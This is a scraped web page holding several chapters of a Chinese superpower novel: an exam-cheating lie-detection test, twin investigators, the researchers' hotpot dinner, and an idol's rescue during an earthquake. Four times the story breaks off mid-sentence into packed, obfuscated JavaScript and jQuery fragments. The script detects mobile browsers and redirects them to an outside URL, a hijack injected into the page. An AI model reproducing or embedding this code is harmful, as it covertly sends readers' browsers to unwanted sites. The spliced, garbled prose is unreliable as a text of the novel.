p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701068|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒他。 指指戳戳的点评穿透到墙对面,监控屏上所有生理曲线瞬时惊颤超频! 单向玻璃另一边,顾昐将头低低地埋着,白净的皮肤窘迫血红,脖颈边血管若隐若现地跳动,好像下一秒就要被吹涨爆炸的一粒氢气球。 确认麦克风已关掉,林昭道:“这套题到此为止。不可以再继续了。” 语气平静,却带着种不容置喙的压力。房间里另外的两个人愣了愣看向林昭,不觉停下了手上的动作。 “我还以为你们上压力测试,至少也会先询问心理病史,确认受试者是否罹患有考试恐惧症或PTSD。”林昭用一种微妙嘲讽的口吻道,“愚蠢的压力测试,蠢透了——来吧,考试暂停。改题。” 顺从权威是工蚁的天性,但听从一个外来者违背了这份天性。两个人负隅顽抗地沉默了会儿,又想习惯性地低头,又觉得不甘心,想再多坚持一会儿自己。 林昭懒得理他们,他装模作样摸手机。 “按照流程,我的确需要通过温科,给你们周局打个报告……”一边说着,林昭一边将动作刻意地放慢了点。 一、二、三、四…… 默数至第五秒,秘书一步往前,动作夸张地拦阻他:“不用,不用。林工您要怎么改?听您的。” 检测员见风知雨,控制台前一顿操作,直接为他开启了后台权限界面。 “我的问题很简单。”国字头单位的操作系统就没有不卡顿的,林昭不打算碰那玩意,“直接说就行了。” 打开麦克风,林昭清了清嗓子,道:“顾昐同学,你好。” “现在,上半场的能力测试已全部结束,请你稍事休息,为下半场的测试做好准备。感谢你的合作。” 电波转译,将林昭的声音清晰地放大了。似山涧泉水一般滚落渐响,没有掺揉任何多余情绪的话语,逐渐抹平了上一刻仍在疯狂波伏的生理电活动图。 顾昐从桌面上将脑袋迟钝地抬起,左右晃了晃,想找到说话人的来处。 林昭继续道:“为了全方面校验你所拥有的异能,上半场的考试内容限定在‘一位高二学生绝不可能掌握的知识点’,因此,你不必为自己的成绩紧张。” “相对的,下半场的考试,则限定在‘你一定能够掌握’的知识点之中,所以,你仍然不必紧张。” 伴随着林昭的说话声,监控屏两侧的折线图进一步地缓和,被压制进入了平静的状态。 林昭给了他半分钟:“准备好了?” 顾昐闻声,忙坐直了身体,深吸一口气:“是的,您请问吧。” “三个问题。” 林昭凑近,一字一句道:“第一题。晟华学年期中考试所涉及到的知识点,你确实全都掌握了吗?” “A、是。B、否。请你……” 话未说完,顾昐眼皮一跳,搁在桌板上的手指微微抽动。 监控屏上,心率呼吸体表电反应肾上腺素光量子波动同步振荡出数条直上直下的尖锐折线! ——测谎反应!!! 教科书级别的…… 观察间的另外两人打了个激灵,花了好几秒钟回过劲,缓慢察觉到了林昭真正的目的。 “错题本”的超能力验证为真,却在被问及是否掌握了全部知识点时,意欲撒谎。 这意味着什么? 学年第一的成绩,不是靠他自己的本事挣来的。 他作弊了! 晟华校方调查无误,顾昐没有使用自己的超能力作弊,这是真的。 超管局的调查同样可信,顾昐存在作弊行为,成绩不实,这也是真的。 证据就在眼前,被保存在了侦测仪器里。凭借这个证据和考场中记录下的异常能量反应,这一出闹剧终于可以正式立案! “请你……”林昭却觉遗憾,悄然垂落了眼眸,“三秒钟内,回答我。” 8. 嫂子开门 顾昐说:“A。” 他做出抉择,只用了一秒钟不到。柔软的质地坚硬了,温驯神情变作生硬的冷拒。生理监测仪器高亢报警,他的表现却极其平静。 林昭道:“第二题。你敢保证,自己确实没有撒谎吗?A、是。B、否。” 顾昐仍然选A。但他的潜意识是开放真诚的,观察房间里的人记录下了真正的答案。 “第三题——它也是本场能力测试的最后一题。”林昭道,“顾昐同学,现在,你感觉紧张吗?” 酒瓶底镜片后的眼睛微妙一闪:“这个……这个问题也和能力测试有关?” 顾昐回过神,意识到了这是一场蓄意突袭。但,太迟了。 “它是我们工作满意度测评的考核标准之一,是超管局后续改进测评体验的重要参考依据。”林昭信口胡诌,“三秒钟内,告诉我你的感受。” 顾昐迟疑一会儿,道:“紧张。” 他松开紧抠着的手指,神色空虚。监测仪器上数值陡然回落,证明他的话语并非作伪。 “……可太紧张了。”他突然连声抱怨,“突然就叫人来考试,我问考什么,没人回答我。这叫我怎么复习准备呢?什么都不许带,计算器也不给带。我要看题,不许我看题,叫我乱做一气……没见过这样的。问什么都不答,你们这个工作态度,可真的是……” 林昭把麦一关,翻身道:“可以立案了吧?” 他没有多停留的意思,直接就往外走。秘书追上两步:“林工,您这就要走了?这还没收尾呢……您不跟完吗?” “所里有事。”林昭简单回了句,推门出去了。 回到方管通道入口一端,林昭按下上行按钮,呼叫电梯。 片刻,轿箱落地开门。 同一时刻,某处的监控画面里。 轿箱双侧闸门平滑合拢,遮去了林昭身形。 “温科!他走了!”一个控制员惊道。 “他发现咱们在监控他了?”另一个疑惑道,“怎么发现的?” “鬼吼什么。”温准叼着根红塔山,一屋子烟气里抱臂站着,越过两名控制员头顶注视着监控屏,道:“断电,刹车。” 光源忽灭,匀速上行的轿箱骤停,倏然一抖! 红外视野下,能看到林昭立在原地,一动没动。他左手抓握着扶手栏杆,右手指尖不知从哪拈出枚硬币,纤长五指张开,将小小的金属圆片往上一抛—— “他在干嘛?”一个控制员道。 “笨。”另一个控制员兴高采烈,“这叫上帝不掷骰子!” 金属币扑棱棱打着旋儿,以越来越慢的速度,冲至静滞点。 而后速度掉头,垂直向下,自由落体! 叮——! “反了吧。”第一个控制员嫌弃道,“要我说,这得叫上帝没事就丢两把骰子,老赌棍了,一等三。” “是丢硬币啊。丢硬币好吧!”另一个不满起来。 温准冷笑:“上帝?哪儿呢?” 两个控制员一起缩了缩脖:“人民群众就是我们的上帝!” 金属硬币脆生生地撞在轿箱地板上,翻滚几圈,躺平不动了。 “未检测到光量子反应。” “未检测到电磁波异常。” “各项生理数据表现正常,未有明显波动。” “……太正常了。” “正常到不正常。” “绝大部分的高功能人群,都是在某种应激状态下受到肾上腺素的爆发刺激,瞬间觉醒超能力的。” “……或至少,会出现轻微的能量波动反应。” “他没有。” “他没有超能力。” “他不会飞。” 二人异口同声:“那,那些视频是怎么回事???” 温准咬牙,犬齿深深扎进绵软的过滤嘴:“复位。看那硬币是个什么东西。” 短暂的“机械故障”很快修复,电梯内灯光亮起,重新启速,平稳上行。林昭没事人似的,任由那硬币躺在冷冰冰的地上,没给它一个眼神。 “月球旅行纪念币。”监控视窗上画面倍放,变焦调整,定格在月宫、嫦娥和玉兔的浪漫图样,“没有面额……这个是背面。” 另一个控制员偏过脑袋:“月币啊!这个我家也有!月球博物馆的纪念品……没想到林工这么有情怀,还带着它在身边。” “正面什么样子?”温准多问了一句。 “听说是五十块!”一个控制员说。 “什么鬼,是降落在月球表面的太空人好吧!”另一个控制员受不了地纠正他。 几人身后,另一块监控屏上,顾昐已在检测员的陪同下走出了封闭室。 作为未成年人受试的奖励,他额外获得一小袋黑芝麻桃酥,用于抚平他波澜起伏的情绪。 上行电梯平稳减速,预备在地面层停靠。林昭弯身,拾起纪念币收好。 电梯停稳,门开,缓缓分出一条宽缝。一只戴着半截皮革手套、指骨分明有力的大手突然探出,拽着林昭,将他一把拖了出去! 温决! 别说这还拍到了一只手。 他化成灰温准都能认得出来。 烧尽到尾的纸烟碾碎在玻璃缸里,温准心平气和嘱咐完后续的工作:“你们忙。我上去看看。” 垃圾间的门砰地一声扯开,陈腐空气混着飞灰扑面涌出,林昭下意识捂住口鼻,呛了声。 “你娇气个啥?”温决压下咳喘的冲动,挟着林昭滚进清洁阿姨专门拿来储放纸板和空瓶的小隔间,反手将门一摔,“忍着吧,这楼里就这儿没监控——” “老变态。”他习惯性地骂了句温准。 “你是什么人?”垃圾间里是没有监控了,却有股难以言喻的酸馊味儿,林昭不得不拿手捂着,不由得也有些烦躁起来,“我们日理万机的温科长总算是想到复制一个自己,来帮他接打永远听不完的电话了?” 温决:“!!!” 好家伙,哪壶不开提哪壶,上来就狠踩痛点,给他怒气条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701069|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干到爆炸发白了。 “抱歉,我随便说的……我向你道歉。”林昭并不是很想挨揍,但他这会儿也没什么好情绪,“你是温科的弟弟对吧?查案有需要我能理解,但未经公民本人同意采用偷拍偷录等手段获取证据是违法的,强制限制公民人身自由也是违法的。你们俩……就不能合法点?” “闻你合法吗?”温决很不客气。他俯身,就着林昭颈侧不要命地抽了抽鼻子。 这隔间里味儿有多难捱,刺激到温决身上就有普通人百倍不止的强度。林昭在这只是绞着眉皱着脸,温决一口下去,却是连嗅觉器官带心脏都一挣一挣地抽缩起来了。 幸而,污浊泥雨般的混沌之中,几缕轻盈的柠檬香根草香气飘进了他的鼻息。 “……怎么。你没有超能力?”温决拧着眉,语气纠结。 灼热气息森然掠过覆着颈动脉的冷白薄皮,林昭不由得寒颤连连。他尽可能往后靠,直挺挺地贴住墙,整条脊背都僵住了。 没遇到过这样没分寸的,林昭的耐心也到尽头了:“我非得有吗?” “那你他妈怎么飞的!”一星无名火起,温决撤出两步,劈手揪住林昭衣领,暴躁无比地将他往墙上一顶,“早上你和谁在一起?一只猫?一个远超风险级的危险能力者?两者皆有,还是咱们的哺乳类终于突破到风险级以上了!!?” 林昭突然冷静下来了。他被温决抵着,却用一种看绝症病人的悲悯眼神检视过他:“你的能力?超级感官?” 结着血痂的眼球骨碌一滚,侧证了林昭的猜想。 有一部分知觉系的超能力者,他们的生活是非常痛苦的。无法关闭的超敏感官既是福祉,亦是凌迟的折磨。比如705所的谭之,他的超能力“完全记忆”,就非常类似临床医学中的“超忆症”。他们会将生命中所有鸡毛蒜皮点大的琐事全都牢牢刻印在脑海中,无论痛苦、喜悦、哀愁、悲伤,何时取出来都新鲜刻骨无比。 听力超敏的能力者,在安静的夜晚能听到十层楼以上一根针的掉落;触觉超敏的能力者,接触到绝大部分织物的感受,都有如铁砂纸用力刮擦过皮肤。 睡眠障碍,饮食障碍,过敏反应,突发窒息……有如虱子一般藏在暗处,随时预备着趁隙而入。药物干预是维系正常生活的普遍手段,经历过这些没疯没残,只是情绪不稳定脾气暴躁点,林昭以为这已经算很好了。 “行吧。”林昭叹口气,伸长手臂去够门把手,“我能待在这个房间,你不可以的。” “你娇气。”他反戈一击。 白光洞开,新风系统筛滤过的洁净空气扑涌进来,吹开螨虫和微尘,冲淡了腐朽酸靡的陈年空气。 温决的强撑也差不多到头了。他咳了两声,像要把肺呛出来,惊天动地的。 “他妈的谁在抽烟啊——!”他吼,“臭死了!!!” “少嗑点药,挤掉你脑子里的水。”温准立在电梯口,唇角叼着根新点燃的红塔山,目光一扫,掠过林昭,钉住温决,“超管局的人,轮不到你动。” 9. 我是我哥 林昭无言看手机。解洋刚在705聊天群组里发送了飞碟的第一批实测数据,几个人聊得火热,来来回回圈他。好想补聊天记录,但不行……比一台人型侦测仪更需要注意的,就是两台人型侦测仪。 没有办法。林昭忍痛屏蔽了群消息,同时来了个新想法。 他要主动提供证词,控诉推他下楼的谋杀犯,再把飞碟和自己身上存在的所有疑点都甩锅给他! 解绑飞碟和神秘人,将飞碟彻底洗白成一只平平无奇宠物猫! 当然了,他只说真话。 “我不认识那个人,今天以前也没有见过他。”侦讯室里,林昭娓娓道来,“我不明白他为什么要那么做。” “……当时急着上班。迟到超过三次要扣工资,这个月我已经被扣一百块,不想再被扣钱了。林老师很严格……六亲不认?也不能那么说吧……嗯,是那样的。看来,你们大概也听说过她的风格。” “那个人说,消防队不会来了。然后他推了我一把,我没有防备。”林昭把士力架、猫、证物围巾统统隐去,“时间突然变得很慢。在那几分钟里……我短暂地飞了一下。整个经过就是这样。” 真实的证词里,林昭安插了两种虚假的发散可能。一,谋杀犯能够影响时间。二,谋杀犯能够影响、干预他人持有的超能力。 第一种能力,理论上可证,现实中并无相关案例记录。第二种能力纯属扯淡,只在小说和影视中存在。 “你在暗示……”温决晃了晃第二把钩子,“嫌疑人给了你几分钟的超能力?” 林昭很快地撇清干系:“特异能力的爆发源于自体衍化和基因突变,它是被动的,附庸的,不具备自观测特性,无法和自体真正切割。我不可能做这种异想天开的推想,这只是单纯的事件经过描述。” 705是全球最早就特异能力提出系统化理论猜想的研究所,这些分析由林昭的口中讲出,很有说服力。 温准踱了几步:“你接受催眠疗法?”他用的是询问的口吻。 林昭果断拒绝:“不。” 深度催眠疗法有一定几率对脑功能造成不可逆的影响,温准对此并不坚持,只点了点头。温决大感意外,他抬眼,从一种很新奇的角度审度了自己这位不对付的同胞哥哥。 侦讯室里,静了片刻。 林昭没有说谎,他阐述的都是事实。据守着两个对角的一双兄弟对此门儿清,却都在想着不同的心事。 温准想起的是林昭脊柱上端那片神秘消失的鲜艳赘肿,和他清晨高速掠过眼前匆忙上楼的残影。解析过网路上流传的视频后,他有了些猜测。 他的嘴唇翕动,数度想说些什么,最终却什么都没说。 温决没法控制自己不去想那只猫。他本来不喜欢猫,但今天不知怎了,网路视频里那只像素模糊的猫总披着一身脏兮兮的皮毛,在他的脑海里放肆蹦迪。 憋了半天,他冲口而出:“你养猫啊?” 温准:“。” 林昭:“……” “是啊。”林昭回他,表情茫然,“这和你们在查的案件有联系?是消防队吗?真出事了?” 温决撇了撇唇,烦躁地一挥手,“别问了,回去等新闻吧——以后啊你,注意着!带着你的一身猫味儿,离我远点儿,远点儿!记得!!!” 哦,过敏。 林昭没什么意见:“行。” 温准觉得再这样丢下去超管局就该没脸可用了,赶紧安排林昭画像,又追补了几个细节问题。 不多时,林昭平安无事走出了超管局的行政楼。公共巴士上他找着个座,手机打开,一条好友申请跳出。 [我是温准:你家猫会后空翻?] [Lin:不会。这个还是你比较擅长。] 翻脸的翻。 温决回了一条60秒的长语音,指责林昭给出的嫌疑人画像太过抽象,邀请他保持联系,想起什么证据随时提供。 林昭没再回他。 “温氏家族,兄弟阋墙!”车敏充满感情,朗诵一条花边新闻,“大公子温准私生子温决,四任夫人三代恩怨两子之争,权贵阶级的死斗游戏,残酷黑幕大起底!” “同卵双胞胎不可能有两个妈。”林昭在看鱼珠巷辖区消防队神秘失踪又被找回的新闻,飞碟窝在他的胳膊弯里睡得香甜,“他们说消防队的人是在海上找到的,一人一块冲浪板大太阳底下飘着……你有什么想法?” 车敏:“你见到温二公子啦!他俩真长得一模一样?一套基因组?” 林昭有气无力:“你去监考,见到他的就是你。” “不。”车敏表情认真,“你去了,你遇到他。我去了,我会遇到属于我自己的错题本。观测者不同,观测结果不同,你懂的,这就是——命运。” 林昭觉得她该醒醒了:“你的水莲稻发芽了?” 车敏:“……发芽而后死了。” 林昭:“你Crush约你出去了?” 车敏:“…………他说我太忙了,让我先忙。他体贴,为我着想。” 林昭:“你的命运呢?” 车敏:“师哥你做个人吧!!!” 门铃一响,两个闲人起身去玄关接应。谭之提着三兜子菜,林昭和车敏一人接过一袋,把最重的留给他。谭之看了眼车敏:“你怎么还在?不是说今晚和Crush Dating?菜只买了三人份,你去阳台捡两只青蛙垫垫饥吧。” “你不惜利用洋哥的宝贝都想刺伤我。”车敏提着菜进了茶水间,转身又探出来,“想都别想,我好着呢。” 解洋抱着一只大纸板箱噔噔噔上楼:“师哥,超管局派过来的。好大一箱,邮箱都塞不下。我放这里了。” 四张对排的办公桌中央被挪空,架起一台电磁炉和一口分成四格、相当专业的大铜锅。705所聊天群组的名字“吃不到一块去”就出典于这里。 林昭烧上水,注入麻辣、菌菇、番茄、鸡汤四种锅底。解洋往他手上递了把裁纸刀,接手布菜工作,让他先去开箱。 包裹被取走,寄件人那边也会收到即时通知。温准的消息掐点到达:[局里采购的常备药物。周局提前打过招呼,后勤多备了一份。早上太急,我给忘了,抱歉。] 林昭回他一句“费心了,谢谢你,也向周局道谢”,单膝落地,一下划开纸箱胶带。 车敏举着一盒羔羊卷挨过来:“感冒药、止痛片、抗过敏剂、胃药、云南白药、创口贴体温计、碘伏……还有蛋白粉镇静剂和强心针!!?超管局福利这么好哇?大户人家哪!” 解洋乐呵呵切鲜牛肉:“我说温科是好人,你们都不信。” 车敏幽怨飘回桌边:“好个屁,我怀疑他的超能力是吃人得来的。” “有次咱们早上开会,”她回忆道,“我和之宝都迟到了,师哥背对着门在煮咖啡。他就那样……盯着师哥看。像鹰隼捕猎,要把人给开膛破肚。” 谭之:“不是咖啡,是奶茶。” 又补充道:“香飘飘的。” 林昭挑出来云南白药和红花油,起身道:“解洋说得对,他人不坏。” “不然,他早都把你们揍翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701070|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”他刻意加重了语气。 车敏&谭之:“……对不起。”挨训了。 上完药,锅也开了。窗外的天色昏暗凄迷,室内的铜锅就显得愈发火热。羊肉卷鲜牛肉翻腾鼓涨,翠生生的小青菜和大白菜收敛卷起。飞碟得到了虾滑、牛肉、软骨三合一的豪华组合晚餐,一个猫在墙角悄然大快朵颐。白茫茫的水汽弥漫升腾,模糊了每个人的脸庞。 车敏控诉她的傻逼Crush,谭之握着手机有一搭没一搭划短视频,解洋刷剧,林昭专心在吃。 鸡兔同笼,鸡同鸭讲,讲究一个陪伴。 “……他竟然问我为什么没有超能力,说没有超能力还要研究超能力那不是就非常奇怪吗?我能理解他们吗?我能明白激活、引爆超能力时的感受吗?我就说,我有超能力的啊,我的超能力吧那就是超聪明,他这辈子都别想和我一样聪明……” “师哥,我刷到你了。” “又刷到你了。不是……你们那小区到底住了多少人啊?” “完犊子,首页都被你占领了。” “嗯,可以确定的是,你火了。” “完蛋了,完蛋了啊。我这个傻逼,我这张嘴,为什么就是不能老老实实上个拉锁呢?车敏啊车敏,你这个傻逼……” “师哥,要不,我帮你开个直播账号吧。” “你出道,我当托,当你榜一。” “出道赚钱,拯救研究所!” “不,我不后悔。他竟然问我,为什么大家都觉醒了超能力就我没有,是不是我不够努力,所以才不够你们有实力……我看他才是活不够了。解剖个把无害的超能力者,不犯法的吧?” “犯法。”谭之突然说,“你解剖青蛙吧。” 车敏甩回一个眼刀:“你还能吃辣锅了?” 谭之讪讪收回裹满红油的筷子:“师哥,刚才我看热搜,他们说,黎沅转发了你飞落楼顶的视频。” “黎沅?谁?谁在说黎沅?”解洋冷不丁一声喊,震得剩下三个人都抖了抖,“OH MY DEAR LEON……!!!真没想到我此生还能与他有所交集……怎么了,他说了什么?” @黎沅_Leon:Mon Ange.[视频] ——我的天使。 看懂了这句话的意思,三个人的表情满溢着看热闹的快乐。林昭放下筷子:“黎沅?” 车敏奇道:“你没听说过黎沅?” “不该啊。”谭之道,“费洛蒙之吻——他的能力非常知名。” “他是我的偶像!!!”解洋将平板翻转过来,屏幕上播放的正是电影《星盟探险队》第二部的前瞻爆料分析,“噢,你不知我多爱他。” 林昭没追过星,对明星也不感兴趣。他确实不认识这号人物。 “他是谁?” 云缦嘉华顶层,露台大门洞开。一阵冷风卷过,廊边的棕榈叶、鬼爪兰和仙人掌花球轻摇摆动。 黎沅捧着一盏白诗南贵腐甜,转眸望向窗外,突如其来打了个喷嚏。 “Oh, bless you.”一位艺术商向黎沅举杯。他预备在今晚的慈善拍卖中拿下某件价值逾十亿的美术品,将这幅画作献给黎沅,以博取美人垂眸一顾,“Leon,关于刚才我们所讨论的……我完全赞同……你是否能……” 轰隆——!!! 电力骤断,宴会厅霎时漆黑。地面晃晃悠悠地摇,名流淑女此起彼伏地尖叫,玻璃和瓷器碎个不停。 江滩天际线如海浪般起伏,璀璨的宝石光珠链明明灭灭,直至被夜色彻底吞噬。 10. 攻的美貌 火锅汤底轻轻晃动,谭之起了疑:“又出地质事故了?” “还好吧,我没什么感觉。”四份汤水重归平静,车敏没注意到异常,继续道,“……是这样的,师哥。现在这世道,你不认识黎沅,你要被高中生排挤的。我老家那几个妹妹啊嗑他都嗑疯了,还有一个哭着闹着要学二外,就为了见面时能用法语小作文告个白……” 解洋突然起身,风一样跑进里间,又飞快跑出来:“师哥,这个给你。” 玫瑰金与祖母绿的手作串珠滑落指间,塑料保护壳里,嵌着一张流光溢彩的透卡。林昭知道这是解洋的宝物,不敢造次,小心捧着转动卡面。 冷光倾斜,透卡表面光栅朦胧,勾勒出一副优美无伦的凛冽面容。 林昭微怔,不期然想起了由乌兹钢冷锻而来,通身烧焊华美纹路的大马士革弯刀。 “全息光栅透射工艺?”林昭仔细从各个角度观察这一张奢侈的纪念卡,“这很贵的,我不能要。” “没,不花钱!”解洋赶忙澄清,“是官谷,我运气好,抽奖中的。师哥,你听我一句,后面超管局调查这个作弊案子,你去晟华校访,就把这小卡带在身边。当护身符——包管所有学生都认你做自己人,万事大吉,顺顺利利!” 林昭:“?……” 明白了,圣教主的开光神像。 他道了谢,仔细收好小卡:“一定好好保管,保证完璧归赵。” 宴会厅顶端应急照明亮起,冷白光源打下,照亮人们惶惑不安的脸庞。 紧急广播:[……各位尊贵的来宾,因不可抗力,本场拍卖暂时休止,重启时间另行通知。请各位稍安勿躁,做好个人安全防护的第一责任人……] “没有人能来开门吗?”说话的人尽可能压下不耐烦的语气,“你们的工程团队呢?” “这里可是七十层!”另一个声音道,“要还有余震怎么办?” 很多人高声附和,另外一些人则三百六十度转着圈道歉。人群裂开成两半,总裁、艺术商、掮客、名淑在高的那头,侍应生、调酒师、安保人员和私人管家们则弯着身体点头哈腰。 到处都是焦躁不安的情绪,唯独照着月光的棕榈叶和鬼爪兰呆若木鸡。 黎沅将酒盏随手交给某人,向露台投去一眼。 前一刻洞开风吹的露台大门落了锁,宴会厅大门及双侧的防火门也是一样。 偌大的宴会厅,就这样变成了四面封闭、没有出口的密室。 地质灾害引发的系统故障……亦或是有人故意为之? 「Leon,来一出救援行动吧!」无线电耳机另一头,丁汀娜的声线高昂,「还记得今天的头条热词?——高、空、救、援!!!要我说,你就得站到比天上神国还高,才能叫无情的天使看得见你!」 黎沅莞尔。不知为什么,想起青年自楼顶凌空飞落的一幕,他的心情就变得很好。 “准备摄像直播。”解开前襟系着的铂金猫眼石胸针,黎沅将它和半披着的大衣一起交到经纪人手中,交换了一捆黑色高纤质地的武装安全绳。 高抛过肩,安全绳缠腰数圈,绕过他修长手指,捻出个漂亮的水手结。 今晚的拍卖宴会是艺术家主题,为配合Dress Code,黎沅特地挑选了不那么拘束的秀款丝绸衬衣和漆皮长裤。正面合宜得体,背面的桃心型挖空设计却一直开到尾骨上端。 大衣滑落,劲峭优美的腰背曲线暴露无余,露出的大片肌肤白至透亮发光。 偏偏又被漆黑的武装绳勒住,极致对比带来的对抗感,似不羁的海盗,又隐隐散发着晦暗难明的情欲气息。 吵吵嚷嚷的人群忽然静了。以黎沅为中心的数十米范围内,若干道目光魂不守舍,钉住了他。 谭之抓着手机一顿疯狂搜索,不禁大喊起来:“黎沅的官方周边,二手市场标价都在五位数以上???这抢钱吧!” “那都是虚标,不能信的。”解洋很有耐心地和圈外解释,“你们不追星所以不知道,黎沅的限定款谷子现在都是有市无价,有钱都求不到。价格都是挂着看看,实际要翻三到五倍。” “啊啊啊,那还等什么!”车敏拍案而起,“卖掉搞钱啊!洋哥,自家人不骗自家人,你肯定攒了不少谷子对吧?赶紧全都拿出来!!!要是把这些全都出了……”她左手刷二手估价软件,右手已掐起账来:“师哥的仪器……药剂……杂物……房间……” “买了也没地放。”关于经费问题,谭之向来悲观,“几十万啥都不是,我们几个全卖了,换不起东璞一套房。” “那、可是……可是师哥也不能一直这样呀。”车敏扑通坐下,举起个铁勺子,狠狠剜了两下锅里半熟的脑花。 气氛微妙地低沉,一时间没人说话。林昭飞速往每人锅里磕了个鸡蛋:“别不开心,这不都说好了吗?” 众人:“???”说好什么了啊! “出道啊?”受不了这三个金鱼脑袋,林昭恨铁不成钢地摇头。 三个人一愣,噗嗤笑了出来。车敏笑得最大声:“不可以的啦!!!师哥你的脑子应该进博物馆被保护起来,我不允许——” “你反对也没用,发展路线都拟好了。”估摸着时间差不多了,林昭顺时针绕圈,将四个溏心蛋依序舀起,装到每个人碗里,“先得抓紧窗口期热度,抱紧黎沅大腿。再来就是……炒CP吧?不过这个得和他的经纪人谈,主要看如何置换资源效率更高。” “……汤都烧没了,赶紧吃。”林昭举着筷子催促,“要是谈成了,超能力偶像代言705,招商引资。705研究超能力偶像,开拓创新。” “逻辑闭环,双赢局面……商业和科技结合,完美。” 解洋笑得飙泪。他一口吸掉发烫的蛋黄,捏拳作槌,作为粉丝代表发言:“我同意这门亲事!” 逆着人群,一条道路显现。潮分潮涌,黎沅单手一撑,跃上宴会厅深处的主舞台。 站在这里,可以轻松俯瞰嘉华明星宴会厅的全貌。逾两千平方米面积,以及连慈善拍卖晚宴到场宾客带所有服务安保人员在内,总计有一千一百一十三人。 黑压压人头似密密麻麻的蝇虫,卷成一张令人作呕的蠕动长毯。 “噢,黎沅,是黎沅!!!”有人渴切呼喊他的名字,“你在想办法救我们对吗?你会救我们吧!你可是英雄啊!” 更多人窃窃私语:“超能力偶像……” “真有能力保护我们?” “领着偶像的天价报酬,享受超级英雄的待遇……怎样都好,赶快做点什么吧!” “你们居然相信?”也有人还清醒,“那不都是明星的人设吗。” “敛财的幌子……包装成英雄的偶像。” “基金会的工具……棋子……白手套。” “lol,看哪!”一道哗众取宠的喝彩声惊起,“今夜,我们的两位超级英雄——终于登上城市顶端的直播舞台!!!” 一阵诙谐的哄笑爆发出来。数台闪光灯打开,台上台下噼啪作响。 「蠢蛋白痴!竟敢拿我们当杂耍小丑……我非给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701071|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他两拳不可。」低低咒骂一句,丁汀娜担忧道,「Leon,你可以吗?这里有近三千平米,可是非常、非常地宽敞喔!」 “放心。”黎沅情绪平静,未受到分毫影响。 要将一千余人在短短几分钟内转移到安全地点,躲避地震带来的二次伤害,杜绝踩踏挤压事故,是一件棘手工作。因此,这里必须用点非常手段。 黎沅已准备好,要赐予他们一场更炽烈,更疯狂的—— 冰凉指骨分开金丝长发,切换了通话频道,黎沅提醒经纪人:“尽快服用阻断剂。” “还有……”他的语气一转,极尽温柔,“这一段切掉。不要录。” “我看过不少L.N.A组合的直播。”车敏不追星,但八卦从来一件不落,“他俩是目前最火爆的英雄偶像组合,解决过多起超能力暴恐事件,也常常和警方联手,参与救援行动。‘狂暴芭比’和‘黄金美杜莎’……一个爆发一个控场,可以说是天生的作战搭档。” “不是费洛蒙效应?”林昭还记得谭之提过的“费洛蒙之吻”,“美杜莎听起来……”有些夸大其词了。 “超能力明星也是明星,逃不过立人设。”车敏将熟透不成形的脑花放进自己的碗里,吞了一大口,“另外就是……实战中黎沅的能力表现,其实更接近硬控……对视以后,能强控对面那么十几二十秒吧。” 这叫硬控? 听着更像是给人看呆了,林昭想。 “烈度低,消耗小,冷却快,射程长。”赶紧吃完东西,车敏手舞足蹈地比划,“据说极限情形下,黎沅的能力射程足以包覆一个直径四十米的球形空间。” “一千多平,六分之一个足球场。”谭之突兀开口,“影迷会上他施个法,是不是就能带一群僵尸粉重建梵蒂冈?” “噢,Leon从不做那种事……”解洋难过地绞起了眉,“他很善良,待粉丝非常好。这样评价他,太过片面了。” 车敏尖锐反击:“谭之你今天发什么癫?” 林昭把剩下的时蔬全体平分倒进四格锅,决心要让所有人忙得再也没法说话。 “要来——咯!” 咬碎抵着舌间的阻断剂,扔开高跟鞋,丁汀娜扬手撕了裙摆,微分双腿,沉肩掰了掰指骨。 横抄起一尊比她高半头的不锈钢雕像,双手拎着晃荡两下,丁汀娜一槌抡出,重重锤上宴会厅大门! 轰!! 轰隆!!! 两下……三下! 雕花大门经不住十倍力量的重冲击,砰然一响,洞开倒下! 同一时刻,第二波地震来袭!!! 大理石地板剧烈摇晃,泥金色的天穹正转反转……杯盏食物桌椅叮叮哐哐碎裂,高大的南洋绿植和数座金属塑像自宴会厅二楼滚落,天降陨石一般,砸向乌泱泱的人群! 黑暗深处,一滴血珠坠落。 滴答。 滴答,滴答…… 愈来愈多血珠爬过月光般晶莹皎白的肌肤,连珠成线,淌落古铜金的拍卖台。 